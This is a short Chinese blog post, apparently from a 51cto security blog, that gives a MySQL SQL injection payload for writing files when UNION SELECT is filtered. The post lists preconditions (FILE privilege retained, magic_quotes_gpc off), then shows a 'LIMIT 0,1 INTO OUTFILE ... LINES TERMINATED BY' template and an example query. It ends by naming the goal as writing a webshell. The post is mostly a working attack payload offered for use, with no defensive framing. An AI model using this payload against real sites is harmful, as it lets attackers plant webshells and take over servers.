满足条件

1. mysql未降权 未关闭file权限

2. gpc关闭

LIMIT 0,1 INTO OUTFILE ‘这里是路径‘ LINES TERMINATED BY ‘这里是你想写的内容‘--

SELECT * FROM `user` where  user=‘root‘ LIMIT 0,1 INTO OUTFILE ‘D:/xxxxx/demo.txt‘ LINES TERMINATED BY ‘demo‘;

本文出自 “Sanr” 博客，请务必保留此出处http://0x007.blog.51cto.com/6330498/1608359

过滤union select 写webshell